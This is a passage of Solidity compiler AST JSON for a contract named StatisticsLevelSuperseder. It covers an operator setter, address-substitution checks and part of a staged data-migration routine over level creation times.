0"},"value":"0"},"src":"10234:19:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57172,"nodeType":"ExpressionStatement","src":"10234:19:117"},{"expression":{"id":57175,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57173,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56551,"src":"10263:8:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57174,"name":"_operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57158,"src":"10274:9:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10263:20:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57176,"nodeType":"ExpressionStatement","src":"10263:20:117"},{"expression":{"id":57179,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57177,"name":"onMaintenance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56543,"src":"10293:13:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":57178,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"10309:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"10293:20:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57180,"nodeType":"ExpressionStatement","src":"10293:20:117"},{"expression":{"id":57184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57181,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"10324:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57182,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"10336:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57183,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10346:13:117","memberName":"SET_ADDRESSES","nodeType":"MemberAccess","referencedDeclaration":56553,"src":"10336:23:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"10324:35:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57185,"nodeType":"ExpressionStatement","src":"10324:35:117"}]},"functionSelector":"b3ab15fb","implemented":true,"kind":"function","modifiers":[],"name":"setOperator","nameLocation":"10070:11:117","parameters":{"id":57159,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57158,"mutability":"mutable","name":"_operator","nameLocation":"10090:9:117","nodeType":"VariableDeclaration","scope":57187,"src":"10082:17:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57157,"name":"address","nodeType":"ElementaryTypeName","src":"10082:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"10081:19:117"},"returnParameters":{"id":57160,"nodeType":"ParameterList","parameters":[],"src":"10108:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57249,"nodeType":"FunctionDefinition","src":"10372:762:117","nodes":[],"body":{"id":57248,"nodeType":"Block","src":"10514:620:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57200,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57197,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"10532:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57198,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"10545:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57199,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10555:13:117","memberName":"SET_ADDRESSES","nodeType":"MemberAccess","referencedDeclaration":56553,"src":"10545:23:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"10532:36:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57201,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10570:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57196,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10524:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57202,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10524:71:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57203,"nodeType":"ExpressionStatement","src":"10524:71:117"},{"expression":{"arguments":[{"baseExpression":{"id":57205,"name":"levelExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56537,"src":"10613:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":57207,"indexExpression":{"id":57206,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57189,"src":"10625:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"10613:37:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4164647265737320746f2062652073757065727365646564206973206e6f7420616e206578697374696e67206c6576656c","id":57208,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10652:51:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_750aec3f2e88dbf802e683403641c8cbff56787946366668f9964047a97ec8bc","typeString":"literal_string \"Address to be superseded is not an existing level\""},"value":"Address to be superseded is not an existing level"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_750aec3f2e88dbf802e683403641c8cbff56787946366668f9964047a97ec8bc","typeString":"literal_string \"Address to be superseded is not an existing level\""}],"id":57204,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10605:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57209,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10605:99:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57210,"nodeType":"ExpressionStatement","src":"10605:99:117"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":57217,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57212,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57191,"src":"10722:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":57215,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10758:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":57214,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10750:7:117","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57213,"name":"address","nodeType":"ElementaryTypeName","src":"10750:7:117","typeDescriptions":{}}},"id":57216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10750:10:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10722:38:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6577206c6576656c20616464726573732063616e27742062652030","id":57218,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10762:30:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_95db95a6fa11072b293a48cecd4b93e0061202bf996ce72eb35385162f7f7f6e","typeString":"literal_string \"New level address can't be 0\""},"value":"New level address can't be 0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_95db95a6fa11072b293a48cecd4b93e0061202bf996ce72eb35385162f7f7f6e","typeString":"literal_string \"New level address can't be 0\""}],"id":57211,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10714:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10714:79:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57220,"nodeType":"ExpressionStatement","src":"10714:79:117"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":57224,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57222,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57189,"src":"10811:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":57223,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57191,"src":"10839:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10811:52:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"41646465737365732063616e277420626520657175616c","id":57225,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10865:25:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_383eea1b0adda947ba157d5c8576323ceee1f39b03fa4975e800aa0f5cd4e47d","typeString":"literal_string \"Addesses can't be equal\""},"value":"Addesses can't be equal"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_383eea1b0adda947ba157d5c8576323ceee1f39b03fa4975e800aa0f5cd4e47d","typeString":"literal_string \"Addesses can't be equal\""}],"id":57221,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10803:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57226,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10803:88:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57227,"nodeType":"ExpressionStatement","src":"10803:88:117"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":57236,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57229,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57189,"src":"10909:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"baseExpression":{"id":57230,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"10937:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57235,"indexExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":57231,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"10944:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57232,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10951:6:117","memberName":"length","nodeType":"MemberAccess","src":"10944:13:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":57233,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10960:1:117","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"10944:17:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"10937:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10909:53:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4f6c6420616464726573732063616e2774206265206c617374206c6576656c2061646472657373","id":57237,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10964:41:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_447685f83a2f2f38db24b272ef4c6f2be88bf3d3df9f2039e1296283da5f38ef","typeString":"literal_string \"Old address can't be last level address\""},"value":"Old address can't be last level address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_447685f83a2f2f38db24b272ef4c6f2be88bf3d3df9f2039e1296283da5f38ef","typeString":"literal_string \"Old address can't be last level address\""}],"id":57228,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10901:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57238,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10901:105:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57239,"nodeType":"ExpressionStatement","src":"10901:105:117"},{"expression":{"id":57242,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57240,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"11017:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57241,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57189,"src":"11043:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11017:50:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57243,"nodeType":"ExpressionStatement","src":"11017:50:117"},{"expression":{"id":57246,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57244,"name":"newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56549,"src":"11077:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57245,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57191,"src":"11103:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11077:50:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57247,"nodeType":"ExpressionStatement","src":"11077:50:117"}]},"functionSelector":"9356c883","implemented":true,"kind":"function","modifiers":[{"id":57194,"kind":"modifierInvocation","modifierName":{"id":57193,"name":"onlyOperator","nameLocations":["10497:12:117"],"nodeType":"IdentifierPath","referencedDeclaration":56575,"src":"10497:12:117"},"nodeType":"ModifierInvocation","src":"10497:12:117"}],"name":"setSubstitutionAddresses","nameLocation":"10381:24:117","parameters":{"id":57192,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57189,"mutability":"mutable","name":"_oldLevelContractAddress","nameLocation":"10414:24:117","nodeType":"VariableDeclaration","scope":57249,"src":"10406:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57188,"name":"address","nodeType":"ElementaryTypeName","src":"10406:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":57191,"mutability":"mutable","name":"_newLevelContractAddress","nameLocation":"10448:24:117","nodeType":"VariableDeclaration","scope":57249,"src":"10440:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57190,"name":"address","nodeType":"ElementaryTypeName","src":"10440:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"10405:68:117"},"returnParameters":{"id":57195,"nodeType":"ParameterList","parameters":[],"src":"10514:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57365,"nodeType":"FunctionDefinition","src":"11140:1321:117","nodes":[],"body":{"id":57364,"nodeType":"Block","src":"11206:1255:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":57263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57258,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57255,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"11237:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57256,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"11250:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57257,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11260:34:117","memberName":"LEVEL_FIRST_INSTANCE_CREATION_TIME","nodeType":"MemberAccess","referencedDeclaration":56554,"src":"11250:44:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"11237:57:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57262,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57259,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"11298:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57260,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"11311:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57261,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11321:13:117","memberName":"SET_ADDRESSES","nodeType":"MemberAccess","referencedDeclaration":56553,"src":"11311:23:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"11298:36:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11237:97:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57264,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11348:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57254,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"11216:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11216:166:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57266,"nodeType":"ExpressionStatement","src":"11216:166:117"},{"condition":{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57267,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"11397:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57268,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"11410:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57269,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11420:13:117","memberName":"SET_ADDRESSES","nodeType":"MemberAccess","referencedDeclaration":56553,"src":"11410:23:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"11397:36:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57277,"nodeType":"IfStatement","src":"11393:123:117","trueBody":{"id":57276,"nodeType":"Block","src":"11435:81:117","statements":[{"expression":{"id":57274,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57271,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"11449:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57272,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"11461:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57273,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11471:34:117","memberName":"LEVEL_FIRST_INSTANCE_CREATION_TIME","nodeType":"MemberAccess","referencedDeclaration":56554,"src":"11461:44:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"11449:56:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57275,"nodeType":"ExpressionStatement","src":"11449:56:117"}]}},{"assignments":[57279],"declarations":[{"constant":false,"id":57279,"mutability":"mutable","name":"_oldLevelContractAddress","nameLocation":"11534:24:117","nodeType":"VariableDeclaration","scope":57364,"src":"11526:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57278,"name":"address","nodeType":"ElementaryTypeName","src":"11526:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":57281,"initialValue":{"id":57280,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"11561:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"11526:58:117"},{"assignments":[57283],"declarations":[{"constant":false,"id":57283,"mutability":"mutable","name":"_newLevelContractAddress","nameLocation":"11602:24:117","nodeType":"VariableDeclaration","scope":57364,"src":"11594:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57282,"name":"address","nodeType":"ElementaryTypeName","src":"11594:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":57285,"initialValue":{"id":57284,"name":"newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56549,"src":"11629:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"11594:58:117"},{"assignments":[57287],"declarations":[{"constant":false,"id":57287,"mutability":"mutable","name":"_usersArrayIndex","nameLocation":"11670:16:117","nodeType":"VariableDeclaration","scope":57364,"src":"11662:24:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57286,"name":"uint256","nodeType":"ElementaryTypeName","src":"11662:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":57289,"initialValue":{"id":57288,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"11689:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"11662:42:117"},{"assignments":[57291],"declarations":[{"constant":false,"id":57291,"mutability":"mutable","name":"timestamp","nameLocation":"11723:9:117","nodeType":"VariableDeclaration","scope":57364,"src":"11715:17:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57290,"name":"uint256","nodeType":"ElementaryTypeName","src":"11715:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":57292,"nodeType":"VariableDeclarationStatement","src":"11715:17:117"},{"body":{"id":57331,"nodeType":"Block","src":"11746:419:117","statements":[{"expression":{"id":57301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57293,"name":"timestamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57291,"src":"11760:9:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"baseExpression":{"id":57294,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56516,"src":"11772:30:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => 